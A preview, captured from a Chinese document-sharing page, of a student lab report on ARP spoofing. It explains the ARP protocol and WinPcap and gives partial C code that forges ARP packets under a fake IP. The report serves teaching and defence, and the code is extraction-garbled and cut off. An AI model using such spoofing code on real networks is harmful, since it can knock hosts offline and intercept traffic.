网络对抗实验Word文档下载推荐.docx

上传人:b****6 文档编号:17681918 上传时间:2022-12-08 格式:DOCX 页数:29 大小:490.82KB
下载 相关 举报
网络对抗实验Word文档下载推荐.docx_第1页
第1页 / 共29页
网络对抗实验Word文档下载推荐.docx_第2页
第2页 / 共29页
网络对抗实验Word文档下载推荐.docx_第3页
第3页 / 共29页
网络对抗实验Word文档下载推荐.docx_第4页
第4页 / 共29页
网络对抗实验Word文档下载推荐.docx_第5页
第5页 / 共29页
点击查看更多>>
下载资源
资源描述

网络对抗实验Word文档下载推荐.docx

《网络对抗实验Word文档下载推荐.docx》由会员分享,可在线阅读,更多相关《网络对抗实验Word文档下载推荐.docx(29页珍藏版)》请在冰豆网上搜索。

网络对抗实验Word文档下载推荐.docx

网上所有主机包括B都收到ARP请求,但只有主机B识别自己的IP地址,于是向A主机发回一个ARP响应报文。

其中就包含有B的MAC地址,A接收到B的应答后,就会更新本地的ARP缓存。

接着使用这个MAC地址发送数据(由网卡附加MAC地址)。

因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。

ARP协议并不只在发送了ARP请求才接收ARP应答。

当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。

因此,当局域网中的某台机器B向A发送一个自己伪造的ARP应答,而如果这个应答是B冒充C伪造来的,即IP地址为C的IP,而MAC地址是伪造的,则当A接收到B伪造的ARP应答后,就会更新本地的ARP缓存,这样在A看来C的IP地址没有变,而它的MAC地址已经不是原来那个了。

由于局域网的网络流通不是根据IP地址进行,而是按照MAC地址进行传输。

所以,那个伪造出来的MAC地址在A上被改变成一个不存在的MAC地址,这样就会造成网络不通,导致A不能Ping通C!

这就是一个简单的ARP欺骗。

ARP协议的工作原理

在每台装有TCP/IP协议的电脑里都有一个ARP缓存表,表里的IP地址与MAC地址是一一对应的。

ARP缓存表

以主机A(192.168.1.5)向主机B(192.168.1.1)发送数据为例。

当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址。

如果找到了,也就知道了目标的MAC地址,直接把目标的MAC地址写入帧里面发送就可以了;

如果在ARP缓存表里面没有目标的IP地址,主机A就会在网络上发送一个广播,目标MAC地址是“ff-ff-ff-ff-ff-ff”,这表示向同一网段的所有主机发出这样的询问:

“192.168.1.1的MAC地址是什么呀?

”网络上的其他主机并不回应这一询问,只有主机B接受到这个帧时才向A作出回应:

“192.168.1.1的MAC地址是00-aa-0-62-c6-09。

(如上表)”这样,主机A就知道了主机B的MAC地址,就可以向主机B发送信息了。

同时,它还更新了自己的ARP缓存表,下次再向B发送数据时,直接在ARP缓存表找就可以了。

ARP缓存表采用老化的机制,在一段时间里表中的某一行没有使用,就会被删除,这样可以大大减少ARP缓存表的长度,加快查询的速度。

如何查看ARP缓存表

ARP缓存表示可以查看的,也可以添加和修改。

在命令提示符下,输入“ARP-a”就可以查看ARP缓存表的内容了。

用“ARP-d”可以删除ARP缓存表里的所有内容。

用“ARP-s“可以手动在ARP表中制定IP地址与MAC地址的对应关系。

ARP欺骗的种类

ARP欺骗是黑客常用的攻击手段之一,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;

另一种是对内网PC的网关欺骗。

第一种ARP欺骗的原理是——截获网关数据。

它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。

第二种ARP欺骗的原理是——伪造网关。

它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。

在PC看来,就是上不了网了,“网络掉线了”。

一般来说,ARP欺骗攻击的后果非常严重,大多数情况下会造成大面积掉线。

有些网管员对此不甚了解,出现故障时,认为PC没有问题,交换机没掉线的“本事”,电信也不承认宽带故障。

而且如果第一种ARP欺骗发生时,只要重启路由器,网络就能全面恢复,那问题一定是在路由器了。

为此,宽带路由器背了不少“黑锅”。

本实验通过自己编程来实现ARP攻击,对网络编程进行一些了解,加深对ARP协议的理解,从而在生活中更好地防范ARP攻击。

第一章实验内容

1.1了解WINPCAP

WinPcap是一个基于Win32平台的,用于捕获网络数据包并进行分析的开源库.

大多数网络应用程序通过被广泛使用的操作系统元件来访问网络,比如sockets。

这是一种简单的实现方式,因为操作系统已经妥善处理了底层具体实现细节(比如协议处理,封装数据包等等),并且提供了一个与读写文件类似的,令人熟悉的接口。

然而,有些时候,这种“简单的方式”并不能满足任务的需求,因为有些应用程序需要直接访问网络中的数据包。

也就是说,那些应用程序需要访问原始数据包,即没有被操作系统利用网络协议处理过的数据包。

WinPcap提供了以下功能:

(1)捕获原始数据包,无论它是发往某台机器的,还是在其他设备(共享媒介)上进行交换的;

(2)在数据包发送给某应用程序前,根据用户指定的规则过滤数据包;

(3)将原始数据包通过网络发送出去;

(4)收集并统计网络流量信息;

(5)利用C语言结合网络编程可以方便的开发出ARP攻击工具。

1.2WINPCAP主要函数

①intpcap_findalldevs(pcap_if_t**,char*)

说明:

用来获得网卡的列表

入口参数:

指向pcap_if_t**类型的列表的指针的指针

pcap_if_t是pcap_if重命名而来:

typedefstructpcap_ifpcap_if_t;

出口参数:

为int型,当显示列表失败时返回-1

举例:

pcap_if_t*alldevs;

pcap_if_t*d;

charerrbuf[64];

/*这个API用来获得网卡的列表*/

if(pcap_findalldevs(&

alldevs,errbuf)==-1)

{

fprintf(stderr,"

Errorinpcap_findalldevs:

%s\n"

errbuf);

exit

(1);

}

/*显示列表的响应字段的内容*/

for(d=alldevs;

d;

d=d->

next)

printf("

%d.%s"

++i,d->

name);

if(d->

descrIPtion)

printf("

(%s)\n"

d->

descrIPtion);

else 

(NodescrIPtionavailable)\n"

);

②voidpcap_freealldevs(pcap_if_t*)

与intpcap_findalldevs(pcap_if_t**,char*)配套使用,当不再需要网卡列表时,用此函数free释放空间。

打开网卡列表时申请的pcap_if_t型的指针

出口参数:

/*Wedon'

tneedanymorethedevicelist.Freeit*/

pcap_freealldevs(alldevs);

③pcap_t 

*pcap_open_live(constchar*device,intsnaplen,intpromisc,intto_ms,charebuf*)

说明:

被用来得到一个包抓取得描述符

device是一个指出要抓取的网络设备的字符串,snaplen指明最大可抓取的字节长度,promisc置位表明该接口要被设置成混杂模式,to_ms以毫秒为单位设置超时时间。

当在超时时间内网卡上没有数据到来时对网卡的读操作将返回(pcap_dispatch()orpcap_next_ex()等函数),ebuf被用来存放当pcap_open_live()调用失败时,返回的错误字符串。

pcap_t型的指针,供pcap_dispatch()orpcap_next_ex()等函数调用;

pcap_t的结构体.

④intpcap_sendpacket(pcap_t*p,u_char*buf,intsize)

手工发送一个数据包了。

这个函数需要的参数:

一个装有要发送数据的缓冲区,要发送的长度,和一个适配器。

注意缓冲区中的数据将不被内核协议处理,只是作为最原始的数据流被发送,所以我门必须填充好正确的协议头以便正确的将数据发送。

p是打开网卡时返回的网卡指针,buf是发送数据包的内容缓冲区首地址,size是发送数据包的大小;

无。

#include<

stdio.h>

pcap.h>

voidusage();

voidmain(intargc,char**argv){

pcap_t*fp;

charerror[PCAP_ERRBUF_SIZE];

u_charpacket[100];

inti;

/*Checkthevalidityofthecomandline*/

if(argc!

=2)

usage:

%sinerface"

argv[0]);

return;

/*打开指定网卡*/

if((fp=pcap_open_live(argv[1],100,1,1000,error))==NULL)

\nErroropeningadapter:

error);

/*假设网络环境为ethernet,我门把目的MAC设为1:

1:

1*/

packet[0]=1;

packet[1]=1;

packet[2]=1;

packet[3]=1;

packet[4]=1;

packet[5]=1;

/*假设源MAC为2:

2:

2*/

packet[6]=2;

packet[7]=2;

packet[8]=2;

packet[9]=2;

packet[10]=2;

packet[11]=2;

/*填充发送包的剩余部分*/

for(i=12;

i<

100;

i++){

packet[i]=i%256;

/*发送包*/

pcap_sendpacket(fp,packet,100);

1.3ARP数据包格式

①数据包格式

ARPFrame

字段

长度(Byte)

默认值

备注

硬件类型

2

0x1

以太网类型值

上层协议类型

0x0800

上层协议为IP协议

MAC地址长度

1

0x6

以太网MAC地址长度为6

IP地址长度

0x4

IP地址长度为4

操作码

0x1表示ARP请求包,0x2表示应答包

发送方MAC

6

发送方IP

4

接收方MAC

接收方IP

填充数据

18

因为物理帧最小长度为64字节,前面的42字节再加上4个CRC校验字节,还差18个字节

图1ARP帧格式

②用C语言定义数据包

#pragmapack

(1)

structethernet_head

{

unsignedchardest_MAC[6];

//目标主机MAC地址

unsignedcharsource_MAC[6];

//源端MAC地址

unsignedshorteh_type;

//以太网类型

};

structARP_head

unsignedshorthardware_type;

//硬件类型:

以太网接口类型为1

unsignedshortprotocol_type;

//协议类型:

IP协议类型为0X0800

unsignedcharadd_len;

//硬件地址长度:

MAC地址长度为6B

unsignedcharpro_len;

//协议地址长度:

IP地址长度为4B

unsignedshortoption;

//操作:

ARP请求为1,ARP应答为2

unsignedcharsour_addr[6];

//源MAC地址:

发送方的MAC地址

unsignedlongsour_IP;

//源IP地址:

发送方的IP地址

unsignedchardest_addr[6];

//目的MAC地址:

ARP请求中该字段没有意义;

ARP响应中为接收方的MAC地址

unsignedlongdest_IP;

//目的IP地址:

ARP请求中为请求解析的IP地址;

ARP响应中为接收方的IP地址

unsignedcharpadding[18];

structARP_packet//最终ARP包结构

ethernet_headeth;

//以太网头部

ARP_headARP;

//ARP数据包头部

#pragmapack()

第二章实验方法

2.1程序流程图如下:

2.2编辑ARP攻击程序

①完整主程序:

//ARPcheat.cpp:

Definestheentrypointfortheconsoleapplication.

//

#include<

conio.h>

packet32.h>

#include"

ARPCheat.h"

ntddndis.h>

unsignedchar*BuildARPPacket(unsignedchar*source_MAC,unsignedlongsrcIP,unsignedlongdestIP)

staticstructARP_packetpacket;

//目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF

memset(packet.eth.dest_MAC,0xFF,6);

//源MAC地址

//memset(packet.eth.source_MAC,0xdd,6);

memcpy(packet.eth.source_MAC,source_MAC,6);

//上层协议为ARP协议,0x0806

packet.eth.eh_type=htons(0x0806);

//硬件类型,Ethernet是0x0001

packet.ARP.hardware_type=htons(0x0001);

//上层协议类型,IP为0x0800

packet.ARP.protocol_type=htons(0x0800);

MAC地址长度为0x06

packet.ARP.add_len=0x06;

IP地址长度为0x04

packet.ARP.pro_len=0x04;

ARP请求为1

packet.ARP.option=htons(0x0001);

//memset(packet.ARP.sour_addr,0xdd,6);

memcpy(packet.ARP.sour_addr,source_MAC,6);

//源IP地址

packet.ARP.sour_IP=srcIP;

//目的MAC地址,填充0

memset(packet.ARP.dest_addr,0,6);

//目的IP地址

packet.ARP.dest_IP=destIP;

//填充数据,18B

memset(packet.ARP.padding,0,18);

return(unsignedchar*)&

packet;

}

/**

*获得网卡的MAC地址

*pDevName网卡的设备名称

*/

unsignedchar*GetSelfMAC(char*pDevName)

staticu_charMAC[6];

memset(MAC,0,sizeof(MAC));

LPADAPTERlpAdapter=PacketOpenAdapter(pDevName);

if(!

lpAdapter||(lpAdapter->

hFile==INVALID_HANDLE_VALUE))

{

returnNULL;

}

PPACKET_OID_DATAOidData=(PPACKET_OID_DATA)malloc(6+sizeof(PACKET_OID_DATA));

if(OidData==NULL)

PacketCloseAdapter(lpAdapter);

//

//RetrievetheadapterMACqueryingtheNICdriver

OidData->

Oid=OID_802_3_CURRENT_ADDRESS;

Length=6;

memset(OidData->

Data,0,6);

BOOLEANStatus=PacketRequest(lpAdapter,FALSE,OidData);

if(Status)

memcpy(MAC,(u_char*)(OidData->

Data),6);

free(OidData);

PacketCloseAdapter(lpAdapter);

returnMAC;

intmain()

pcap_if_t*alldevs;

//全部网卡列表

pcap_if_t*d;

//一个网卡

intinum;

//用户选择的网卡序号

inti=0;

//循环变量

pcap_t*adhandle;

//一个pcap实例

charerrbuf[PCAP_ERRBUF_SIZE];

//错误缓冲区

unsignedchar*MAC;

//本机MAC地址

unsignedchar*packet;

//ARP包

unsignedlongfakeIP,destIP;

//要伪装成的IP地址

pcap_addr_t*pAddr;

//网卡地址

unsignedlongIP;

//IP地址

unsignedlongnetmask;

//子网掩码

charsel='

b'

unch;

intcou;

charstrdest[10][50],strfake[30];

boolflag=true;

//从参数列表获得要伪装的IP地址

/*if(INADDR_NONE==fakeIP)

fprintf(stderr,"

InvalidIP:

strfake);

return-1;

}*/

/*获得本机网卡列表*/

if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING,NULL,&

alldevs,errbuf)==-1)

exit

(1);

}

\t\t\t\t尊敬的用户\n\n以下为您计算机上发现的网卡列表\n\n"

/*打印网卡列表*/

for(d=alldevs;

d;

d=d->

next)

printf("

%d"

++i);

if(d->

descrIPtion)

printf("

.%s\n"

else

.NodescrIPtionavailable\n"

//如果没有发现网卡

if(i==0)

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 高中教育 > 其它课程

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1